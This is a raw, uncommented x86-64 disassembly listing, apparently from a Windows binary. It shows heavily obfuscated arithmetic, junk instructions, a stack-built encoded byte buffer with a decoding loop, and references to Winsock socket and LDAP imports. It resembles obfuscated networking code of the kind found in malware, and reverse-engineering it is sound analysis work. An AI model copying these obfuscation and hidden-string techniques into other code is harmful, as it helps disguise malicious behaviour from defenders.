movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x6c
jmp 0x1400b49e1
add r11b, 0x52
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x3e
dec rdi
inc rdi
jmp 0x1400b3f82
add r11b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x10
inc r9
dec rdi
inc rdi
jmp 0x1400b3f82
lea edx, [r11 - 0x72]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1400b4979
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x1400b460e
lea edx, [r11 - 0xf]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x69
jmp 0x1400b448e
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400b4648
sub r11b, 0x76
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x390]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b3f82
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b466d
lea edx, [r11 + 0x4e]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x22
add bl, dl
jmp 0x1400b4a61
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400b4692
add r11b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x50
jmp 0x1400b4a34
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b46ba
add r11b, 0x12
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x7e
add r8, r9
jmp 0x1400b4a34
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b4490
sub r11b, 0x2a
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x1400b3f82
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b4710
lea edx, [r11 + 0x4f]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x29
jmp 0x1400b4979
cmp r8, rcx
jne 0x1400b4737
add r11b, 0x13
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x7b
dec rdi
inc rdi
jmp 0x1400b3f82
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b475f
sub r11b, 0x29
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x1f
add r8, r9
jmp 0x1400b4a34
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b4784
sub r11b, 0x47
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0xf
jmp 0x1400b4a34
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b47a9
lea edx, [r11 - 0x65]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x3d
add bl, dl
jmp 0x1400b4a61
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400b444b
add r11b, 0x5f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x67
movzx eax, byte [rbp + rdi + 0x390]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b3f82
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b481d
add r11b, 0x14
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x390]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b3f82
inc rax
cmp r8, rax
jne 0x1400b4845
sub r11b, 0xa
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400b4a8c
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b486c
lea edx, [r11 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1400b4a61
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b440e
sub r11b, 0x46
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x16
jmp 0x1400b4a34
lea edx, [r11 - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x58
add bl, dl
add bl, r10b
jmp 0x1400b49e3
lea edx, [r11 - 0x36]
movzx eax, r10b
and al, dl
mov ecx, 0x3d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400b4a61
sub r11b, 0x2b
movzx eax, r10b
and al, r11b
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x2d
add bl, r11b
jmp 0x1400b4a8c
lea edx, [r11 - 0xd]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x5b
add bl, dl
jmp 0x1400b4a61
add r11b, 0x2f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x49
add r8, r9
jmp 0x1400b4a34
lea edx, [r11 + 0x4d]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x1b
jmp 0x1400b49e1
add r11b, 0x6b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x13
dec rdi
inc rdi
jmp 0x1400b3f82
lea edx, [r11 - 0x59]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x6f
add bl, dl
sub r11b, 9
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x3f
add r11b, r10b
mov byte [rbp + rdi + 0x390], r11b
inc r9
dec rdi
inc rdi
jmp 0x1400b3f82
lea ecx, [rdi + 0x1f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 0x27
dec rdi
inc rdi
jmp 0x1400b3f82
movzx r11d, dil
lea edx, [r11 + 0x3d]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
add bl, 0x55
add bl, dl
sub r11b, 0x27
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x11
add r11b, bl
add r11b, r10b
mov byte [rbp + rdi + 0x390], r11b
add r8, r9
jmp 0x1400b4a34
lea ecx, [rdi + 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x7d
add r8, r9
jmp 0x1400b4a34
lea rax, [rdi + r14]
and dl, al
add dl, dl
sub al, dl
lea ebx, [r10 + rax]
sub bl, 0x4f
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400b3f82
lea rax, [rdi + r12]
and dl, al
add dl, dl
sub al, dl
lea ebx, [r10 + rax]
sub bl, 0x21
movzx r11d, dil
sub r11b, 0x45
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x1d
add r11b, r10b
movzx eax, r11b
mov byte [rbp + rdi + 0x390], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x54]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + rdi + 0x390], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x390]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b3f82
lea rax, [rdi + r15]
and dl, al
add dl, dl
sub al, dl
lea ebx, [r10 + rax]
add bl, 0x3b
movzx eax, byte [rbp + rdi + 0x390]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b3f82
add r11b, 0x35
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x73
jmp 0x1400b3f80
add r11b, 0x53
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x45
jmp 0x1400b3f70
lea r14, [rbp + 0x142c17c]
jmp 0x1400b4b48
lea r14, [rbp + 0x129d76d]
jmp 0x1400b4b48
lea r14, [rbp + 0x390]
mov byte [rbp + 0x7c0], 0xe4
mov byte [rbp + 0x7c1], Ordinal_143
mov byte [rbp + 0x7c2], __WSAFDIsSet
mov byte [rbp + 0x7c3], Ordinal_143
mov byte [rbp + 0x7c4], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x7c5], 0x86
mov byte [rbp + 0x7c6], Ordinal_217
mov byte [rbp + 0x7c7], __WSAFDIsSet
mov byte [rbp + 0x7c8], 0xb7
mov byte [rbp + 0x7c9], 0xbb
mov byte [rbp + 0x7ca], 0xea
mov byte [rbp + 0x7cb], 0xbe
mov byte [rbp + 0x7cc], 0xbf
mov byte [rbp + 0x7cd], 0xb4
mov byte [rbp + 0x7ce], 0xb0
mov byte [rbp + 0x7cf], 0xa8
mov byte [rbp + 0x7d0], 0xe0
mov byte [rbp + 0x7d1], 0xdf
mov byte [rbp + 0x7d2], 0xa7
mov byte [rbp + 0x7d3], Ordinal_143
mov byte [rbp + 0x7d4], 0xb1
mov byte [rbp + 0x7d5], 0xb7
mov byte [rbp + 0x7d6], 0xe6
mov byte [rbp + 0x7d7], Ordinal_200
mov byte [rbp + 0x7d8], 0x90
mov byte [rbp + 0x7d9], 0xad
mov byte [rbp + 0x7da], 0xbf
mov byte [rbp + 0x7db], 0xa9
mov byte [rbp + 0x7dc], 0xa2
mov byte [rbp + 0x7dd], 0xbc
mov byte [rbp + 0x7de], 0xa2
mov byte [rbp + 0x7df], 5
mov byte [rbp + 0x7e0], Ordinal_211
mov byte [rbp + 0x7e1], 0xa3
mov byte [rbp + 0x7e2], 0xb7
mov byte [rbp + 0x7e3], 0xf3
mov byte [rbp + 0x7e4], 0x9d
mov byte [rbp + 0x7e5], 0xaa
mov byte [rbp + 0x7e6], 0xa3
mov byte [rbp + 0x7e7], 0xf7
mov byte [rbp + 0x7e8], Ordinal_79
mov byte [rbp + 0x7e9], 0x5c
mov byte [rbp + 0x7ea], 0x58
mov byte [rbp + 0x7eb], 0x59
mov byte [rbp + 0x7ec], Ordinal_79
mov byte [rbp + 0x7ed], 0x53
mov byte [rbp + 0x7ee], 0x5a
mov byte [rbp + 0x7ef], 0x53
mov byte [rbp + 0x7f0], WSAGetLastError
mov byte [rbp + 0x7f1], 1
mov byte [rbp + 0x7f2], 0x57
mov byte [rbp + 0x7f3], 0x50
mov byte [rbp + 0x7f4], 0x5d
mov byte [rbp + 0x7f5], 0x5b
mov byte [rbp + 0x7f6], 0x41
mov byte [rbp + 0x7f7], 7
mov byte [rbp + 0x7f8], 0x59
mov byte [rbp + 0x7f9], 0x47
mov byte [rbp + 0x7fa], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x7fb], 0x5a
mov byte [rbp + 0x7fc], 0x40
mov byte [rbp + 0x7fd], Ordinal_79
mov byte [rbp + 0x7fe], 0x5b
mov byte [rbp + 0x7ff], Ordinal_79
mov byte [rbp + 0x800], Ordinal_79
mov byte [rbp + 0x801], 0x50
mov byte [rbp + 0x802], 0x46
mov byte [rbp + 0x803], 0x56
mov byte [rbp + 0x804], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x805], 0x54
mov byte [rbp + 0x806], 0x55
mov byte [rbp + 0x807], 0x54
mov byte [rbp + 0x808], 0x77
mov byte [rbp + 0x809], 0x7c
mov byte [rbp + 0x80a], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x80b], 0x7f
mov byte [rbp + 0x80c], 3
mov byte [rbp + 0x80d], Ordinal_217
mov byte [rbp + 0x80e], listen
mov byte [rbp + 0x80f], 0x47
mov byte [rbp + 0x810], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x811], 0x64
mov byte [rbp + 0x812], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x813], 0x7d
mov byte [rbp + 0x814], 0x65
mov byte [rbp + 0x815], 0x79
mov byte [rbp + 0x816], Ordinal_41
mov byte [rbp + 0x817], 2
mov byte [rbp + 0x818], 0x50
mov byte [rbp + 0x819], WSAGetLastError
mov byte [rbp + 0x81a], 0x66
mov byte [rbp + 0x81b], 0x64
mov byte [rbp + 0x81c], 0x65
mov byte [rbp + 0x81d], WSAGetLastError
mov byte [rbp + 0x81e], WSAGetLastError
mov byte [rbp + 0x81f], 0x3f
mov byte [rbp + 0x820], WSAStartup
mov byte [rbp + 0x821], 0x63
mov byte [rbp + 0x822], 0x77
mov byte [rbp + 0x823], gethostname
mov byte [rbp + 0x824], WSAGetLastError
mov byte [rbp + 0x825], 0x60
mov byte [rbp + 0x826], 0x75
mov byte [rbp + 0x827], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x828], 0x48
mov byte [rbp + 0x829], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x82a], reloc.WS2_32.dll_send
mov byte [rbp + 0x82b], Ordinal_30
mov byte [rbp + 0x82c], reloc.WS2_32.dll_socket
mov byte [rbp + 0x82d], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x82e], listen
mov byte [rbp + 0x82f], Ordinal_33
mov byte [rbp + 0x830], 0x40
mov byte [rbp + 0x831], 7
mov byte [rbp + 0x832], Ordinal_33
mov byte [rbp + 0x833], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x834], 0x44
mov byte [rbp + 0x835], 7
mov byte [rbp + 0x836], 7
mov byte [rbp + 0x837], Ordinal_30
mov byte [rbp + 0x838], listen
mov byte [rbp + 0x839], 0x59
mov byte [rbp + 0x83a], reloc.WS2_32.dll_listen
mov byte [rbp + 0x83b], 3
mov byte [rbp + 0x83c], Ordinal_30
mov byte [rbp + 0x83d], 3
mov byte [rbp + 0x83e], 0x5e
mov byte [rbp + 0x83f], Ordinal_33
mov byte [rbp + 0x840], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x841], select
mov byte [rbp + 0x842], 2
mov byte [rbp + 0x843], reloc.WS2_32.dll_select
mov byte [rbp + 0x844], 6
mov byte [rbp + 0x845], reloc.WS2_32.dll_recv
mov byte [rbp + 0x846], reloc.WS2_32.dll_select
mov byte [rbp + 0x847], 0x57
mov byte [rbp + 0x848], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x849], gethostname
mov byte [rbp + 0x84a], WSAGetLastError
mov byte [rbp + 0x84b], Ordinal_79
mov byte [rbp + 0x84c], 0x55
mov byte [rbp + 0x84d], WSAGetLastError
mov byte [rbp + 0x84e], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x84f], gethostname
mov byte [rbp + 0x850], Ordinal_41
mov byte [rbp + 0x851], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x852], gethostname
mov byte [rbp + 0x853], Ordinal_50
mov byte [rbp + 0x854], 0x64
mov byte [rbp + 0x855], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x856], 0x3f
mov byte [rbp + 0x857], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x858], 0x3d
mov byte [rbp + 0x859], 0x79
mov byte [rbp + 0x85a], 0x44
mov byte [rbp + 0x85b], 0x3e
mov byte [rbp + 0x85c], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x85d], Ordinal_41
mov byte [rbp + 0x85e], Ordinal_46
mov byte [rbp + 0x85f], 0x7f
mov byte [rbp + 0x860], 0x51
mov byte [rbp + 0x861], 0x48
mov byte [rbp + 0x862], WSAStartup
mov byte [rbp + 0x863], 0x45
mov byte [rbp + 0x864], 0x66
mov byte [rbp + 0x865], WSAGetLastError
mov byte [rbp + 0x866], __WSAFDIsSet
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x867], xmm0
mov qword [rbp + 0x877], rax
mov dword [rbp + 0x87f], eax
movabs r15, 0x2a813392df5a4858
movabs r13, 0x298869041b77fa68
movabs r12, 0x7f839ab89e0ed908
movzx ebx, byte [rsp + 0x30]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
cmp rdi, 0xc3
jae 0x1400b5b3f
movzx r11d, byte [rbp + rdi + 0x7c0]
mov esi, r11d
nop dword [rax + rax]
cmp r8, rdi
ja 0x1400b5b36
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b507b
lea rcx, [rdi + r15]
mov rax, rcx
and rax, rsi
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rsi
sub bl, 0x68
jmp 0x1400b50b5
je 0x1400b5acb
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b5a41
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b59ea
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b59cb
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b59a5
movzx r10d, dil
nop dword [rax]
cmp r9, rdi
ja 0x1400b5b2d
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x1400b50ed
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400b5120
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b5961
inc rax
cmp r8, rax
je 0x1400b593b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b591b
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b58ff
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400b5663
nop dword [rax]
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400b5645
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b5620
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400b55fe
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400b5715
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400b55de
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400b55be
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b55a3
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400b5587
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b555a
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b5130
lea r8, [r9 + 9]
lea r9, [r8 + 0x42]
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400b5b11
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400b5af5
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400b531f
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400b5301
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400b52e7
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400b550c
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400b54c9
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400b548a
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400b5460
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400b5130
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x200]
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400b542f
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x1400b540f
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400b53f5
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400b53d9
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400b53c4
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400b53a6
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400b5380
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400b535b
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400b533f
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400b5130
lea r8, [r9 + 0x41]
lea r9, [r8 + 4]
jmp 0x1400b5130
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x78
jmp 0x1400b5120
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400b50c0
add r10b, 0x68
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400b5050
lea edx, [r10 - 0x40]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x40
add bl, dl
jmp 0x1400b5976
add r10b, 0x10
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x70
inc r9
dec rdi
inc rdi
jmp 0x1400b5032
add r10b, 0x60
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
dec rdi
inc rdi
jmp 0x1400b5032
lea edx, [r10 - 0x50]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
jmp 0x1400b5a03
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
jmp 0x1400b5a26
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x30
jmp 0x1400b5a29
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x60
jmp 0x1400b5a5c
sub r10b, 0x10
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400b5a87
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x7c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b5032
sub r10b, 0x78
movzx eax, r10b
and al, r11b
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
mov byte [rbp + rdi + 0x7c0], bl
inc rdi
jmp 0x1400b5032
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
cmp r9, 1
jb 0x1400b547b
lea edx, [r10 + 0x10]
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1400b5976
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x18
cmp r8, 0x41
jae 0x1400b58ca
lea rcx, [r9 + 4]
cmp r8, rcx
jbe 0x1400b57f6
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x50
jmp 0x1400b54a3
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x48
lea rax, [r9 + r8]
cmp rax, 0x20
je 0x1400b58e9
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x1400b572f
lea edx, [r10 - 8]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400b54de
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x30
movzx eax, byte [rbp + rdi + 0x7c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b5032
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x60
jmp 0x1400b5a87
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400b5a59
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400b5a29
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400b5a26
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x50
dec rdi
inc rdi
jmp 0x1400b5032
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x80
inc r9
dec rdi
inc rdi
jmp 0x1400b5032
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400b5976
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x1400b5689
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x68
jmp 0x1400b5521
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b56bf
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x10
movzx eax, byte [rbp + rdi + 0x7c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b5032
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b56e3
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x1400b5a59
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b5708
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x50
jmp 0x1400b5a26
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b5521
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x20
jmp 0x1400b5a03
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b5756
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x1400b5976
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b5781
add r10b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x38
dec rdi
inc rdi
jmp 0x1400b5032
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b57aa
add r10b, 0x18
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x1400b5a29
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b57cd
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x78
jmp 0x1400b5a5c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b54de
add r10b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x48
jmp 0x1400b5a87
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b582c
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x20
movzx eax, byte [rbp + rdi + 0x7c0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400b5032
cmp r8, rcx
jne 0x1400b584d
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x60
jmp 0x1400b5a26
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b5870
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x30
jmp 0x1400b5a03
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b5894
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
dec rdi
inc rdi
jmp 0x1400b5032
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b54a3
sub r10b, 0x50
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
inc r9
dec rdi
inc rdi
jmp 0x1400b5032
lea edx, [r10 - 0x40]
movzx eax, r11b
and al, dl
add al, al
movzx ebx, r11b
sub bl, al
sub bl, 0x40
add bl, r11b
add bl, dl
jmp 0x1400b5a03
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
